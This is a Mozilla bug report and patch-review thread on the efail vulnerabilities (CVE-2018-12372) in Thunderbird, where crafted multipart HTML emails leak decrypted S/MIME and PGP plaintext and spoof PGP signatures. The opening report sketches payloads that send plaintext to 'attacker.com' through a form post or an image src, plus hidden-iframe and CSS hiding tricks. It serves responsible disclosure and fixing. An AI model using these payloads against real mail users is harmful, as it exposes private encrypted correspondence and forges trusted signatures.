1419417 - (CVE-2018-12372) [efail] S/MIME and PGP decryption oracles can be built with HTML emails

Reporter

Description

•

7 years ago

Attached file Decryption oracle PoC 1: Leaking plaintext through reply/forward — Details

User Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0 Build ID: 20170929010941 Steps to reproduce: In the scope of academic research within the efail project, in cooperation with Ruhr-University Bochum and FH Münster, Germany we discovered various security issues in Thunderbird: An attacker who is in possession of S/MIME or PGP encrypted messages can embed them into specially crafted HTML mails and re-send them to the intended receiver. When the message is read and decrypted by the receiver, the plaintext is leaked to an attacker-controlled server. Furthermore, this issue allows an attacker to spoof PGP signatures. The root cause for these vulnerabilities lies in the way Thunderbird handles multipart messages. The general cause is present since Thunderbird version 0.1, released in 2003. All issues are present in the current Thunderbird version 52.4.0 (if not stated otherwise). ******************************************************************************** *** General Cause: Multipart messages are rendered as a single HTML document *** ******************************************************************************** Thunderbird internally uses HTML to display emails. If a message consists of multiple parts, all parts are put into a single HTML document, separated by a <br>, <fieldset> and <div> tag:: <html> <head></head> <body> <BR><FIELDSET CLASS="mimeAttachmentHeader"></FIELDSET><BR/> <div class="moz-text-html" lang="x-western">*part-01*</div> <BR><FIELDSET CLASS="mimeAttachmentHeader"></FIELDSET><BR/> <div class="moz-text-html" lang="x-western">*part-02*</div> etc. </body> </html> This is dangerous to be used in combination with cryptography, because it allows an attacker to wrap encrypted or signed content into her own HTML/CSS code: multipart/mixed |--- Content-Type: text/html | [arbitrary HTML or CSS] |--- [enc or signed messages] +--- Content-Type: text/html [arbitrary HTML or CSS] **************************************** *** Issue A: Leaking encrypted mails *** **************************************** /Attacker model/: Attacker is in possession of S/MIME or PGP/MIME encrypted messages, which she may have obtained as passive man-in-the-middle or by actively hacking into the victim's mail server or gateway /Attacker's goal/: Leak the plaintext by wrapping the ciphertext into an HTML mail sent to and decrypted by the victim ------------------------------------------------------------- *Proof of concept 1: Leaking plaintext through reply/forward* ------------------------------------------------------------- Prerequisites: - victim reads and composes messages in HTML - victim replies or forwards the message Attack: The attacker can hide the encrypted part, for example, in an iframe: multipart/mixed |--- Content-Type: text/html | Please answer to this email | <iframe width="1" height="1" frameborder="0"> |--- Content-Type: multipart/encrypted |--- Content-Type: application/pkcs7-mime +--- Content-Type: text/html </iframe> The encrypted part is decrypted as soon as the victim reads the mail. If the victim replies to or forwards the mail, the decrypted plaintext will be sent, hidden in the invisible iframe and without the victim noticing. Note that this variant of the attack only works if message bodys are viewed as original HTML (default) *and* the user checked `compose messages in HTML format' (non default). Also note that hundreds of collected S/MIME or PGP/MIME ciphertexts can be embedded in the multipart mail and all the plaintexts leaked with one single reply. ---------------------------------------------------------- *Proof of concept 2: Leaking plaintext through HTML forms* ---------------------------------------------------------- Prerequisites: - victim reads messages in HTML - victim submits an HTML form by clicking on an area in the message Attack: Another variant of the attack, which works since Thunderbird 3.0 is using HTML forms to leak the plaintext: multipart/mixed |--- Content-Type: text/html | <form action="https://attacker.com/leak" method="post"> | <button type="submit"> | <textarea |--- Content-Type: multipart/encrypted +--- Content-Type: application/pkcs7-mime Again, the plaintext for hundreds of collected S/MIME or PGP/MIME ciphertexts could be leaked by a single form submission. The user still has to actively submit the form, but with CSS it is possible to make the form being submitted if the user clicks *somewhere* into the (harmless) message shown to him which may even security-aware users. Other variants may include setting up fake scrollbars or Thunderbird warnings that submit the form if clicked. ------------------------------------------------------------- *Proof of concept 3: Leaking plaintext through src attribute* ------------------------------------------------------------- Prerequisites: - victim reads messages in HTML - victim allows remote content (further attack variants possible, see below) Attack: Another variant of this attack is to use the HTML src attribute, for example, for invisible iframes or image tags to leak the plaintext: multipart/mixed |--- Content-Type: text/html | <img src='https://attacker.com/ |--- Content-Type: multipart/encrypted |--- Content-Type: application/pkcs7-mime +--- Content-Type: text/html '> After decryption, the plaintext is urlencoded and sent as HTTP GET request to the attacker if the user allows remote content to be loaded. To encourage this, there are various options: - The attacker may spoof the mail address to a `trusted' source which the victim already has whitelisted (for example, some company which requires remote image for their mails being readable) - The attacker may sent a fake newsletter/spam mail and leak the plaintext by tempting the victim to click on a `Click here to unsubscribe' link - From Thunderbird 12.0 to 52.0.1, remote content had automatically been loaded if a news:// uri schemes was used in the HTML src attribute which could be used to leak the plaintext to a NNTP server - In the current version (52.4.0), Thunderbird can be tricked into thinking a mail is an RSS feed if the mail begins with certain headers: From - Fri Nov 17 20:13:09 2017 X-Mozilla-Status2: 00000040 Note that this seems to work only for local (Movemail) message setups, not if the mail is fetched via IMAP or POP3 - In the current version (52.4.0), mailto links can be used to force an HTML context (even if the user has set messages to be neither viewed nor composed in HTML format). While most html tags seem to be filtered, <video poster="url"> gets through and automatically triggers a connection: mailto:?html-body=%3Cvideo%20poster%3D%22http%3A%2F%2Fattacker.com%22%3E"> Note however, that this can probably not be used to leak plaintext because we have not found a way to define multipart messages to be included in mailto: links - There may be other bypasses for remote content blocking like <link preconnect="..."> which we reported in October (bug 1408867) Note that again multiple S/MIME and PGP/MIME messages can be leaked in a single mail that is read and decrypted. There seems to be an upper limited of 1024kB for the length of HTTP GET requests sent by Thunderbird, but an attacker can include multiple HTML tags with src attributes in case the messages should exceed this limit. Find attached three emails which leak S/MIME and PGP/MIME encrypted messages to localhost:8080. For a proof of concept, you need to replace the encrypted parts with S/MIME or PGP/MIME messages you have the private key for, obviously. ******************************************* *** Issue B: Signature Spoofing Attacks *** ******************************************* /Attacker model/: Attacker is in possession of a valid OpenPGP signature from the entity to be impersonated, which she may have obtained from email correspondence, public mailing lists, signed software packages, signed GitHub commits, etc; this should be a realistic scenario, so we don't even need an NSA-like attacker /Attacker's goal/: Given her own text, the attacker wants to spoof a correct signature to be displayed by Enigmail There are various ways to achieve this goal. CSS can be used to hide the signed part (for example, by setting the font size or color). Furthermore, the signed part can be embedded by and therefore hidden in HTML tags. Note that this attack does not seem to work for S/MIME because Thunderbird's S/MIME implementation only shows a valid signature if the whole message (including all parts) is correctly signed. ------------------------------------------------------------------- *Proof of concept 1: Signature spoofing with CSS and plaintext tag* ------------------------------------------------------------------- Prerequisites: - victim reads messages in HTML Attack: The signed part can be hidden by setting the font color to the default background color (white). Furthermore, the <plaintext> tag can be used to get rid of the border being displayed: multipart/mixed |--- Content-Type: text/html | [Arbitrary text inserted by the attacker] | <div style="color:white"><plaintext> +--- Content-Type: multipart/signed [PGP signed part] ------------------------------------------------------------------ *Proof of concept 2: Signature spoofing with invisible iframe tag* ------------------------------------------------------------------ Prerequisites: - victim reads messages in HTML Attack: The signed part can be hidden in an invisible iframe: multipart/mixed |--- Content-Type: text/html | [Arbitrary text inserted by the attacker] | <iframe width="1" height="1" frameborder="0" +--- Content-Type: multipart/signed [PGP signed part] Find attached two emails which are displayed as correctly signed by Phil Zimmermann in Thunderbird/Enigmail while the attacker can completely alter the actual text that is shown to the user.

Jens Müller

Reporter

Comment 1

•

7 years ago

Attached file Decryption oracle PoC 2: Leaking plaintext through HTML forms — Details

Jens Müller

Reporter

Comment 2

•

7 years ago

Attached file Decryption oracle PoC 3: Leaking plaintext through src attribute — Details

Jens Müller

Reporter

Comment 3

•

7 years ago

Attached file Signature spoofing PoC 1: Impersonating Phil Zimmermann with CSS and plaintext tag — Details

Jens Müller

Reporter

•

7 years ago

Attachment #8930488 - Attachment description: 05-sig-pgp-invisible-iframe.eml → Signature spoofing PoC 2: Impersonating Phil Zimmermann with invisible iframe tag

•

7 years ago

Update from our side: We would like to go full-disclosure in mid April in the scope of an academic paper (covering a whole bunch of email security issues). We think it's a very serious issue: with a single tiny bit of user interaction (or maybe without if the attacker somehow manages to bypass remote content blocking) -- the encrypted mails of years can be leaked. One workaround would be to not render HTML content in encrypted mails (Enigmail does this already for PGP/INLINE) or consequently block remote content (not give the user an option!), forms etc. for encrypted content and not to allow users to click on links etc. In respect to bug 1411592, this seems to be necessary anyway.

Jorg K (CEST = GMT+2)

Assignee

Updated

•

7 years ago

Attachment #8930484 - Attachment mime type: message/rfc822 → text/plain

Jorg K (CEST = GMT+2)

Assignee

•

7 years ago

Depends on: CVE-2018-5185

Magnus Melin [:mkmelin]

Comment 15

•

7 years ago

Looked at the form submission issue, fixing it in bug 1450345. I did not verify, but I don't think the other issues regarding decryption reported in this bug are fixed. Patrick, did you only mean the "Issue B: Signature Spoofing Attacks" are fixed. Or how is the "Issue A: Leaking encrypted mails" problem resolved?

Flags: needinfo?(mkmelin+mozilla) → needinfo?(patrick)

Patrick Brunschwig

Comment 16

•

7 years ago

Issue B is fixed in Enigmail, that's a pure UI thing. Issue A is fixed as far as I can: - PoC 1 is "fixed" in Enigmail by displaying a warning to the user if a "suspicious" type of PGP/MIME (or inline-PGP) structure is detected. - PoC 2 and PoC 3: AFAICT this cannot be addressed by Enigmail

Flags: needinfo?(patrick)

Jens Müller

Reporter

Comment 17

•

7 years ago

To recapitulate: +--------------------------------------------------------------------------------+ | | S/MIME | OpenPGP | |----------------+--------------------------------+------------------------------| | Issue A, PoC 1 | fixed? (dec only if top-level) | mitigated in Enigmail 1.9.9 | | Issue A, PoC 2 | fixed in Bug 1450345 (TB 60) | fixed in Bug 1450345 (TB 60) | | Issue A, PoC 3 | fixed? (dec only if top-level) | | |----------------+--------------------------------+------------------------------| | Issue B, PoC 1 | not vulnerable | fixed in Enigmail 1.9.9 | | Issue B, PoC 2 | not vulnerable | fixed in Enigmail 1.9.9 | +--------------------------------------------------------------------------------+ S/MIME, Issue A, PoC 1/3 -- Question to @jcranmer: -------------------------------------------------- Since when is it fixed? Just asking because TB 52.6 still allows partly S/MIME encrypted mails, it just does not allow partly S/MIME signed mails (therefore Issue B, PoC 1/2 is not vulnerable for S/MIME). Such a fix would mean that emails with e.g. only the attachment encrypted will no longer be decrypted, correct? OpenPGP, Issue A, PoC 3 -- Possible workarounds: -------------------------------------------------- - separate DOM for each HTML body part (best fix, but hardest to implement) - same fix(?) as for S/MIME (drawback: partly encrypted mails will no longer be decrypted) - do not give user an option to load remote content in encrypted mails (just a workaround!) Last question: will a CVE be assigned to this with the fixing TB release?

Flags: needinfo?(Pidgeot18)

Frederik Braun [:freddy]

•

7 years ago

Note: - Issue A, PoC 1 (leak plaintext via reply/forward) still works in TB-nightly for S/MIME encrypted messages (mitigated in Enigmail) - Issue A, PoC 3 (leak plaintext via remote content) still works in TB-nightly for S/MIME encrypted messages (and for PGP too I guess) This has *not* been fixed by bug 1411592. The problem for Issue A, PoC 3 is that remote content *within* encrypted messages is disabled now (bug 1411592), but in *this* bug ("direct exfiltration") we wrap the encrypted MIME part and prepend <img src="http://attacker.com/ in a previous MIME part in the same email -- where remote content still seems to be allowed. TB puts all together in a single HTML document to be rendered. All those plaintext leaks (Issue A, Poc *) are based on the problem that multiple MIME parts are put into the same DOM. This can probably not be changed fast. But what about the following quick fix: Do not decrypt S/MIME and OpenPGP encrypted messages if they are not top-level (within in the MIME tree). This breaks partly encrypted messages but they should not happen often in practice (e.g. only-encrypt-the-attachment).

Joshua Cranmer [:jcranmer]

Comment 22

•

7 years ago

(In reply to Jens Müller from comment #17) > S/MIME, Issue A, PoC 1/3 -- Question to @jcranmer: > -------------------------------------------------- > Since when is it fixed? Just asking because TB 52.6 still allows partly > S/MIME encrypted mails, it just does not allow partly S/MIME signed mails > (therefore Issue B, PoC 1/2 is not vulnerable for S/MIME). Such a fix would > mean that emails with e.g. only the attachment encrypted will no longer be > decrypted, correct? We don't indicate that partly S/MIME mail is anything different from regular email. While the user could still see the decrypted email, there would be no indication that the email was encrypted in the first place unless the user desired to view source (or wondered why the message couldn't be found when searching message bodies). > Last question: will a CVE be assigned to this with the fixing TB release? I play no role in that process.

Flags: needinfo?(Pidgeot18)

Magnus Melin [:mkmelin]

Updated

•

7 years ago

Depends on: CVE-2018-5162

Jorg K (CEST = GMT+2)

Assignee

Updated

•

7 years ago

Attachment #8930486 - Attachment mime type: message/rfc822 → text/plain

Magnus Melin [:mkmelin]

Comment 23

•

7 years ago

Attached patch bug1419417_efail_reply_fwd.patch (obsolete) — Details — Splinter Review

Fix PoC 1 by only forwarding/replying to encrypted messages as plaintext. That is not the neatest fix, but at least it's safe. This should be the last of the attack vectors. We can try to think of a better fix but time is running up. What we could do is parse each part separately into a document, then insert each element after one another. But libmime is so much magic that it's really hard to follow where to put the logic.

Assignee: Pidgeot18 → mkmelin+mozilla

Status: UNCONFIRMED → ASSIGNED

Ever confirmed: true

Attachment #8973795 - Flags: review?(jorgk)

Jorg K (CEST = GMT+2)

Assignee

Comment 24

•

7 years ago

Comment on attachment 8973795 [details] [diff] [review] bug1419417_efail_reply_fwd.patch Review of attachment 8973795 [details] [diff] [review]: ----------------------------------------------------------------- ::: mailnews/compose/src/nsMsgCompose.cpp @@ +1031,5 @@ > > rv = composeService->DetermineComposeHTML(m_identity, format, &m_composeHTML); > NS_ENSURE_SUCCESS(rv,rv); > > + // Make sure we only do plaintext encrypted replies/forwards. That comment isn't clear. Are you saying that when replying to an encrypted HTLM message or forwarding it, we'll convert the reply or forwarded message to plaintext? That's what the code appears to do. If the original was encrypted, the new message (reply/forwarded) will be converted to plaintext. I can't see that this will be very popular. People might want to work around that with using "Edit as new". What happens in that case?

Patrick Brunschwig

Comment 25

•

7 years ago

(In reply to Magnus Melin from comment #23) > Created attachment 8973795 [details] [diff] [review] > bug1419417_efail_reply_fwd.patch > > Fix PoC 1 by only forwarding/replying to encrypted messages as plaintext. > That is not the neatest fix, but at least it's safe. I think this is a no-go for many users who use encrypted messages. Here is what I did in Enigmail: I (re-)parse the message to get the message structure (and then interpret the structure. If an unencrypted MIME part as a PGP/MIME encrypted sibling (i.e. MIME parts on the same level), then I display a warning to the user saying that the message may lead to revealing sensitive information. I would also agree that in this case conversion to plain text is a valid option. See: https://gitlab.com/enigmail/enigmail/blob/master/ui/content/enigmailMsgComposeOverlay.js#L562

Magnus Melin [:mkmelin]

Comment 26

•

7 years ago

Hmm, but mixing of encrypted and non-encrypted is not really needed for this PoC is it?

Magnus Melin [:mkmelin]

•

7 years ago

(In reply to Patrick Brunschwig from comment #28) > Yes, I think you a have to have a mixture. You have an apparently > unencrypted HTML message that contains a hidden encrypted MIME part. Is it not allowed to have encrypted parts as siblings? E.g. part 1.1.1 also being encrypted. Sorry if it's a stupid question :)

Patrick Brunschwig

Comment 31

•

7 years ago

(In reply to Magnus Melin from comment #30) > Is it not allowed to have encrypted parts as siblings? E.g. part 1.1.1 also > being encrypted. > Sorry if it's a stupid question :) It's not a stupid question at all :) It's technically allowed and possible to have encrypted and non-encrypted parts as siblings. However, no email client would ever produce such a message. The only way to achieve such a message structure is to manually craft it, and therefore the user should be warned if he gets such a message.

Jens Müller

Reporter

Comment 32

•

7 years ago

Agreed with @Patrick. If part 1.1.1 is actually encrypted or not should be irrelevant for the attack (the attacker could do both). The major problem imho is multiple MIME parts that are bleeding into each other -> attacker-controlled HTML/CSS content is mixed with sensitive, plaintext content, rendered into the same DOM. Given the evolution web standards, other variants of the attack may only be a matter of time. At least I would not trust mail encryption my life (but some people actually have to) :/ Btw, I like Enigmail's handling of PGP/INLINE where the whole email is forced to be rendered as text-only.

Magnus Melin [:mkmelin]

•

7 years ago

Attached file A1-dec-pgp-smime-html-reply.eml — Details

OK, here's an example where I put an S/MIME block I can decrypt into a part of the message. Upon HTML reply the decrypted text is found visibly in the body of the mail and is shipped out upon send. Now let's try with the patch.

Jorg K (CEST = GMT+2)

Assignee

Updated

•

7 years ago

Attachment #8975458 - Attachment mime type: message/rfc822 → text/plain

Jorg K (CEST = GMT+2)

Assignee

Comment 42

•

7 years ago

Comment on attachment 8973795 [details] [diff] [review] bug1419417_efail_reply_fwd.patch As far as I can see, this doesn't work. With the patch applied, the decrypted text is still present invisibly in the composition. Also, the composition is NOT downgraded to plaintext. Looks like encryptedURIService->IsEncrypted(originalMsgURI, &isEncrypted); will return 'false' since only a message part is encrypted. I don't know, I haven't debugged it. At least with the example I attached, "forward" doesn't appear to be an attack vector. I don't see the decrypted text anywhere in the forwarded message when inspecting the HTML.

Attachment #8973795 - Flags: review-

Ben Bucksch (:BenB)

Comment 43

•

7 years ago

I would always run all cited text through the "HTML sanitizer" (Simple HTML). It will strip all funky HTML and leave only basic HTML in there. To avoid other attack vectors, I'd do that for all email, not just encrypted ones. I've seen other security and privacy bugs in HTML Replies, and that would stop them all cold. After all, it is only for quoting/citing. The HTML sanitizer was made for cases like this: To be secure. Going down to plaintext (even if only for encrypted mail) is IMHO a little too drastic and not necessary.

Patrick Brunschwig

Comment 44

•

7 years ago

Ben, are you sure this would help in all cases? I suspect that you could still get a HTML tag containing hidden text which stems from a MIME part that was invisible at viewing time.

Ben Bucksch (:BenB)

Comment 45

•

7 years ago

Attached image tb-smime-leak-1.png (obsolete) — Details

Screenshot, replying to attack email in HTML mode, Sanitized HTML mode and plaintext mode. Screenshot made without encryption for simplicity. I can make a patch for that.

Ben Bucksch (:BenB)

Comment 46

•

7 years ago

Attached image tb-smime-leak-2.png — Details

Sorry, labels were inverse. Fixed. Attached again. Sorry for the messup.

Attachment #8975520 - Attachment is obsolete: true

Ben Bucksch (:BenB)

•

7 years ago

Not at all, here you go.

Assignee: mkmelin+mozilla → ben.bucksch

•

7 years ago

Attachment #8973795 - Attachment is obsolete: true

Magnus Melin [:mkmelin]

Comment 63

•

7 years ago

(In reply to Ben Bucksch (:BenB) from comment #57) > 2. Sanitize quoted HTML > > The composer is more vulnerable than the viewer. In the viewer, we assume > malicious code and harden against it. Not so in the composer, which assumes > that the user enters the data. That used to be the case, but not so in 52 and above. The composer no is no longer treated differently (as an EDITOR).

Magnus Melin [:mkmelin]

Comment 64

•

7 years ago

Assignee

Comment 70

•

7 years ago

Can you start a try run?

Ben Bucksch (:BenB)

Comment 71

•

7 years ago

Attached patch Sanitizer code cleanup (obsolete) — Details — Splinter Review

This cleans up the Sanitizer class code a little bit. Not related to the bug at all. But found while I was working on the previous patch. I separated it for ease of review.

Attachment #8976085 - Flags: review?(mkmelin+mozilla)

Ben Bucksch (:BenB)

Updated

•

7 years ago

Attachment #8976074 - Flags: review?(mkmelin+mozilla)

Ben Bucksch (:BenB)

Comment 72

•

7 years ago

Attached patch Sanitize quoted HTML, v3 (obsolete) — Details — Splinter Review

Attachment #8976050 - Attachment is obsolete: true

Attachment #8976054 - Attachment is obsolete: true

Ben Bucksch (:BenB)

Comment 73

•

7 years ago

Comment on attachment 8976085 [details] [diff] [review] Sanitizer code cleanup 1. I removed the pref migration code, because that migration happened in 2012 and it should be long done. Even then, it only concerned users who had manually modified that pref. I think that was only a dozen users world-wide even back then, so that's surely useless code now. 2. Removed my debug code 3. Renamed one variable to be clearer 4. Moved the comment from the header to the implemetation file. 5. If you allow presentational stuff, then also allow CSS. That's the only logic change here. The change only affects users who manually changed this hidden pref. Again, only a handful users, probably.

Jorg K (CEST = GMT+2)

Assignee

Comment 74

•

7 years ago

Comment on attachment 8976086 [details] [diff] [review] Sanitize quoted HTML, v3 Why are you attaching this again? I had already attached the very same patch but with a commit message in attachment 8976054 [details] [diff] [review]. I thought we had agreed that this was too drastic.

Jorg K (CEST = GMT+2)

Assignee

Comment 75

•

7 years ago

Comment on attachment 8976085 [details] [diff] [review] Sanitizer code cleanup Thanks for the clean-up, looks good.

Attachment #8976085 - Flags: review+

Jorg K (CEST = GMT+2)

Assignee

Comment 76

•

7 years ago

Comment on attachment 8976074 [details] [diff] [review] Separate MIME parts from each other (for 52) Review of attachment 8976074 [details] [diff] [review]: ----------------------------------------------------------------- ::: mailnews/mime/src/mimeTextHTMLParsed.cpp @@ +36,5 @@ > +MimeDefClass(MimeInlineTextHTMLParsed, MimeInlineTextHTMLParsedClass, > + mimeInlineTextHTMLParsedClass, &MIME_SUPERCLASS); > + > +static int MimeInlineTextHTMLParsed_parse_line (const char *, int32_t, > + MimeObject *); Nit: Indentation. @@ +71,5 @@ > + I'll just dump the charset we get in the mime headers into a > + HTML meta http-equiv. > + XXX Not sure, if that is correct, though. */ > + char *content_type = > + (obj->headers Nit: That can go onto the previous line. @@ +118,5 @@ > + nsString& rawHTML = *(me->complete_buffer); > + nsString parsed; > + > + nsCOMPtr<nsIDOMDocument> document; > + // in 61: RefPtr<mozilla::dom::DOMParser> parser = mozilla::dom::DOMParser::CreateWithoutGlobal(rv2); <https://searchfox.org/comm-central/source/mailnews/import/winlivemail/nsWMUtils.cpp#143> Nit: This line is really too long. Can you please prepare a patch that works on current trunk. We'll worry about the branches later. If you want to be nice, please put: #if 1 // Code for Gecko 61 and beyond: RefPtr<mozilla::dom::DOMParser> parser = mozilla::dom::DOMParser::CreateWithoutGlobal(rv2); #else // Code for Gecjo 60 and below: nsCOMPtr<nsIDOMParser> parser = do_GetService(NS_DOMPARSER_CONTRACTID); #endif @@ +124,5 @@ > + nsresult rv = parser->ParseFromString(rawHTML.get(), "text/html", getter_AddRefs(document)); > + NS_ENSURE_SUCCESS(rv, -1); > + > + nsCOMPtr<nsIDocumentEncoder> encoder = do_CreateInstance( > + "@mozilla.org/layout/documentEncoder;1?type=text/html"); Nit: Indentation. @@ +138,5 @@ > + // needs the entire doc to make sense of the glibberish that people write. > + > + NS_ConvertUTF16toUTF8 resultCStr(parsed); > + status = ((MimeObjectClass*)&MIME_SUPERCLASS)->parse_line( > + resultCStr.BeginWriting(), Nit: Indentation, perhaps the first argument fits onto the previous line, then align under it.

Jorg K (CEST = GMT+2)

Assignee

Comment 77

•

7 years ago

Comment on attachment 8976085 [details] [diff] [review] Sanitizer code cleanup Can you please rebase this for trunk.

Magnus Melin [:mkmelin]

Comment 78

•

7 years ago

Comment on attachment 8976085 [details] [diff] [review] Sanitizer code cleanup Review of attachment 8976085 [details] [diff] [review]: ----------------------------------------------------------------- ::: mailnews/mime/src/mimemoz2.cpp @@ +2201,5 @@ > &dropMedia); > if (dropPresentational) > flags |= nsIParserUtils::SanitizerDropNonCSSPresentation; > + else > + flags |= nsIParserUtils::SanitizerAllowStyle; I thought no-styles was a feature for this particular code...

Attachment #8976085 - Flags: review?(mkmelin+mozilla) → review+

Jorg K (CEST = GMT+2)

Assignee

Comment 79

•

7 years ago

Attached patch Separate MIME parts from each other (for trunk) (obsolete) — Details — Splinter Review

Ben, can you please provide patches that compile on trunk. I've fixed this and I also addressed the style nits. I've also included the code for TB 60 and below (untested).

Attachment #8976074 - Attachment is obsolete: true

Attachment #8976074 - Flags: review?(mkmelin+mozilla)

Attachment #8976330 - Flags: review?(mkmelin+mozilla)

Ben Bucksch (:BenB)

Comment 80

•

7 years ago

> Ben, can you please provide patches that compile on trunk. My focus right now was TB 52.8.0, because that needs to get out the door. The APIs are different, as you are painfully aware. (And also because Enigmail failed on trunk for me, and 60 crashed on startup.) Thanks for the update to trunk.

Ben Bucksch (:BenB)

Updated

•

7 years ago

Attachment #8976074 - Attachment is obsolete: false

Ben Bucksch (:BenB)

Updated

•

7 years ago

Attachment #8976074 - Attachment description: Separate MIME parts from each other → Separate MIME parts from each other (for 52)

Ben Bucksch (:BenB)

Assignee

Comment 89

•

7 years ago

Comment on attachment 8976349 [details] [diff] [review] Separate MIME parts from each other, v4 (trunk and 52) Review of attachment 8976349 [details] [diff] [review]: ----------------------------------------------------------------- Please fix the test failures: https://treeherder.mozilla.org/#/jobs?repo=try-comm-central&revision=19011e85f65069e35ffee58745a69f5d085b4ad2&selectedJob=178863090 This can't land neither on 52 nor on 62 if it causes test failures. ::: mailnews/mime/src/mimeTextHTMLParsed.cpp @@ +36,5 @@ > +#define MIME_SUPERCLASS mimeInlineTextHTMLClass > +MimeDefClass(MimeInlineTextHTMLParsed, MimeInlineTextHTMLParsedClass, > + mimeInlineTextHTMLParsedClass, &MIME_SUPERCLASS); > + > +static int MimeInlineTextHTMLParsed_parse_line (const char *, int32_t, Please remove the space before the parenthesis, and three below. @@ +45,5 @@ > + > +static int > +MimeInlineTextHTMLParsedClassInitialize(MimeInlineTextHTMLParsedClass *clazz) > +{ > + MimeObjectClass *oclass = (MimeObjectClass *) clazz; Please remove the space after the parenthesis. @@ +58,5 @@ > + > +static int > +MimeInlineTextHTMLParsed_parse_begin (MimeObject *obj) > +{ > + MimeInlineTextHTMLParsed *me = (MimeInlineTextHTMLParsed *) obj; And here. @@ +66,5 @@ > + return status; > + > + // charset > + // dump the charset we get from the mime headers into a HTML <meta http-equiv> > + char *content_type = (obj->headers Lose the opening parenthesis. @@ +68,5 @@ > + // charset > + // dump the charset we get from the mime headers into a HTML <meta http-equiv> > + char *content_type = (obj->headers > + ? MimeHeaders_get(obj->headers, HEADER_CONTENT_TYPE, false, false) > + : 0); Lose the closing parenthesis. I fixed all that, but you lost the changes :-( @@ +121,5 @@ > + mozilla::ErrorResult rv2; > + RefPtr<mozilla::dom::DOMParser> parser = > + mozilla::dom::DOMParser::CreateWithoutGlobal(rv2); > + nsCOMPtr<nsIDocument> document = parser->ParseFromString( > + rawHTML, mozilla::dom::SupportedType::Text_html, rv2); Please reformat to: nsCOMPtr<nsIDocument> document = parser->ParseFromString(rawHTML, mozilla::dom::SupportedType::Text_html, rv2); Which I had, but you lost :-( @@ +134,5 @@ > +#endif > + > + // Serialize it back to HTML source again > + nsCOMPtr<nsIDocumentEncoder> encoder = do_CreateInstance( > + "@mozilla.org/layout/documentEncoder;1?type=text/html"); Please reformat to: nsCOMPtr<nsIDocumentEncoder> encoder = do_CreateInstance("@mozilla.org/layout/documentEncoder;1?type=text/html"); @@ +150,5 @@ > + return status; > +} > + > +void > +MimeInlineTextHTMLParsed_finalize (MimeObject *obj) Lose space. @@ +165,5 @@ > + ((MimeObjectClass*)&MIME_SUPERCLASS)->finalize (obj); > +} > + > +static int > +MimeInlineTextHTMLParsed_parse_line (const char *line, int32_t length, Lose the space before the parenthesis.

Attachment #8976349 - Flags: review-

Jorg K (CEST = GMT+2)

Assignee

Comment 90

•

7 years ago

Comment on attachment 8976351 [details] [diff] [review] Sanitizer code cleanup, v2 Review of attachment 8976351 [details] [diff] [review]: ----------------------------------------------------------------- ::: mailnews/mailnews.js @@ +588,5 @@ > // For the next 4 prefs, see <http://www.bucksch.org/1/projects/mozilla/108153> > pref("mailnews.display.prefer_plaintext", false); // Ignore HTML parts in multipart/alternative > pref("mailnews.display.html_as", 0); // How to display HTML/MIME parts. 0 = Render the sender's HTML; 1 = HTML->TXT->HTML; 2 = Show HTML source; 3 = Sanitize HTML; 4 = Show all body parts > pref("mailnews.display.show_all_body_parts_menu", false); // Whether the View > Message body as > All body parts menu item is available > +pref("mailnews.display.html_sanitizer.drop_presentational", true); // whether to drop <font>, <center>, align='...', etc. Please don't change prefs unless you want to write migration code. ::: mailnews/mime/src/mimemoz2.cpp @@ +2160,5 @@ > return NS_OK; > } > > + > + Please don't add these lines. ::: mailnews/mime/src/mimethsa.cpp @@ +123,2 @@ > > + // Write it out Full stop missing.

Al Billings [:abillings - ex-MoCo]

Comment 91

•

7 years ago

Does the HTML sanitization work touch on the CSS issues mentioned in the efail paper at chapter 3.1, where it briefly discusses a CSS redressing attack? I want to make sure that any CSS issues there aren't slipping by the updated sanitizer for simple HTML. (I don't understand this specific aspect of the attack but it was pointed out to me.)

Flags: needinfo?(ben.bucksch)

Ben Bucksch (:BenB)

Comment 92

•

7 years ago

Attached patch Sanitize quotes, v4 (for 52) (obsolete) — Details — Splinter Review

Assignee

Updated

•

7 years ago

Attachment #8976085 - Attachment is obsolete: true

Jorg K (CEST = GMT+2)

Assignee

Updated

•

7 years ago

Attachment #8976086 - Attachment is obsolete: true

Jorg K (CEST = GMT+2)

Assignee

Comment 98

•

7 years ago

(In reply to Ben Bucksch (:BenB) from comment #94) Let's not discuss about style nits, you're wasting more time on the discussion than actually fixing them, or just picking up what I have already fixed. I know that MIME is old code with a hotchpotch of ugliness and I am certainly opposed to adding more ugliness. The style-guide says that all sentences get a full stop at the end, so it doesn't hurt to add them. There are pre-existing examples: // SaveAs in new modes doesn't work yet. /* Use the class we've got. */ /* Descend into messages only if we're looking for a specific sub-part. */ /* First initialize the superclass. */ We don't use spaces before parameter lists for the obvious reason of being able to search for functions with "XXX(". There are pre-existing cases of this in MIME, for example (at random): mime_subclass_p(MimeObjectClass *child, MimeObjectClass *parent) mime_imap_part_address(MimeObject *obj) We don't use spaces after a cast, which you do correctly in your patch on some occasions: int status = ((MimeObjectClass*)&MIME_SUPERCLASS)->parse_eof(obj, abort_p); Because in the past no one enforced a consistent style in MIME we're at the mess we are now. So please no further discussion, just fix what I asked for. Correct style should be automatic and then you can focus on the actual problem. Further comments on the tree patches presented: "Sanitizer code cleanup, v2": You misunderstood what a "hidden" preference is. The preference in question is listed in mailnews.js and therefore listed in about:config. We have real hidden preferences that don't show up there. It is also widely discussed on the web, please Google it. We even get complaints when changing real "hidden" preferences (last for mail.ui.display.dateformat.thisweek and friends). So I don't think it's a good idea to change the name unless you offer some migration, which is easy to do: https://dxr.mozilla.org/comm-central/source/mail/base/modules/mailMigrator.js Also please present a patch that applies to trunk. "Sanitize quotes, v4 (for 52)": I haven't tried this but I'd like to hear how you plan to go about the M-C change included in the patch. Are you going to present this for review in M-C. Once landed in trunk, we could then uplift it to our branches. We usually don't take patches are not in M-C and don't have a plan to ever get there. In general, rules for all contributors to Mozilla code apply to you as well: So please don't mix hunks from different repositories in the same patch, since by definition the patch already doesn't apply and needs manual intervention by all people working on it. Please supply patches with proper HG headers stating your user and a decent commit message. This is essential even earlier on, for example for try pushes. "Separate MIME parts from each other, v4 (trunk and 52)" That looks promising, I haven't reviewed it yet, I've just flagged some obvious style issues, made it apply to trunk and shipped it off to try. Please address the test failures: TEST-UNEXPECTED-FAIL | comm/mailnews/db/gloda/test/unit/test_mime_attachments_size.js TEST-UNEXPECTED-FAIL | comm/mailnews/db/gloda/test/unit/test_mime_emitter.js I'm not happy to 